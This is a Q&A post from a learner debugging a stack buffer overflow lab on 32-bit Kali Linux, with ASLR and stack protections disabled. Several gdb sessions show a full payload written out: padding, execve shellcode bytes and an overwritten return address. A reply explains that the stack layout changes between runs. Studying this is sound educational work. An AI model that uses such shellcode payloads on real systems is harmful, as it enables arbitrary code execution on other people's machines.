I'm doing a stack overflow experiment with aslr and nx disabled. But the gdb show up a weird result.
Environment:
Linux 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali5 i686 GNU/Linux
Disable aslr:
echo 0 > /proc/sys/kernel/randomize_va_space
Compiled the source with execstatck(Debian has no kernel parameter named exec-shield):
gcc 1.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
Here's description of the problem:
(gdb) disas main
Dump of assembler code for function main:
0x0804841c <+0>: push %ebp
0x0804841d <+1>: mov %esp,%ebp
0x0804841f <+3>: sub $0x208,%esp
0x08048425 <+9>: mov 0xc(%ebp),%eax
0x08048428 <+12>: add $0x4,%eax
0x0804842b <+15>: mov (%eax),%eax
0x0804842d <+17>: mov %eax,0x4(%esp)
0x08048431 <+21>: lea -0x200(%ebp),%eax
0x08048437 <+27>: mov %eax,(%esp)
0x0804843a <+30>: call 0x8048300 <strcpy@plt>
0x0804843f <+35>: mov $0x0,%eax
0x08048444 <+40>: leave
0x08048445 <+41>: ret
End of assembler dump.
(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xba"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xba"'`
Program received signal SIGSEGV, Segmentation fault.
0xbafff87d in ?? ()
program is leaded to 0xbafff87d and crashed.This is under expectation.
So i change the address from 0xbafff87d to the address of shellcode: 0xbffff87d.
(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Program received signal SIGSEGV, Segmentation fault.
0xbffff88d in ?? ()
(gdb) i r $eip
eip 0xbffff88d 0xbffff88d
but the program is leaded to 0xbffff88d instead of 0xbffff87d and crashed.The last one byte of the return address has been modified. Why?
I try to add a breakpoint before the function 'leave' (0x08048444 <+40>: leave ):
(gdb) b *0x08048444
Breakpoint 1 at 0x8048444
#run the program with the large payload as above
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff518: 0x41414141 0xbffff87d
#the return addr is indeed overwritten to 0xbffff87d
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff88d in ?? ()
the eip is still leaded to 0xbffff88d.
I cannot figure out what makes the return address modified and when this happned.
Maybe I miss out some knowledge there. Beside the question above, I also think that gdb sometimes 'cache' the running result of the debugged program, becase sometimes the gdb show me the same result while I already change the parameters.
Thanks in advance :)
=======
Update for answering Leeor
's comment:
It also crash outside gdb. Segmentation fault. The coredump file shows the eip is 0xbffff88b when segfaulted.(While my overwritten value is 0xbffff87d, the last byte is modified)
Manually overwriting the return address:
(gdb) b *0x08048444
Breakpoint 1 at 0x8048444
(gdb) run test
Starting program: /home/xxx/tests/a.out test
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff718: 0xbffff798 0xb7e7ae46
(gdb) x/2 0xbffff71c
0xbffff71c: 0xb7e7ae46 0x00000002
(gdb) set *0xbffff71c=0xbffff87d
(gdb) x/2x $ebp
0xbffff718: 0xbffff798 0xbffff87d
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff87d in ?? ()
This is working as I expect(There is no valid shellcode at 0xbffff87d cause I run with parameter test
. I found that when a "illegal instruction" error occurred, gdb still tell you it's Segment Fault).
But it's still not working while I run it with overflow payload:
(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff508: 0x41414141 0xbffff87d
(gdb) set *0xbffff50c=0xbffff87d
(gdb) x/2x $ebp
0xbffff508: 0x41414141 0xbffff87d
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff88b in ?? ()
The last byte of return address is modified.
I'd say execution goes to the correct address first, just that the instruction there doesn't happen to crash. Try some of the following:
si
instead of c
0xbffff87d
0xbffff87d
Since your address is on the stack, the contents may be different when stack layout changes. Note that the command line argument is also on the stack, so your runs with test
and the actual payload use different stack layout.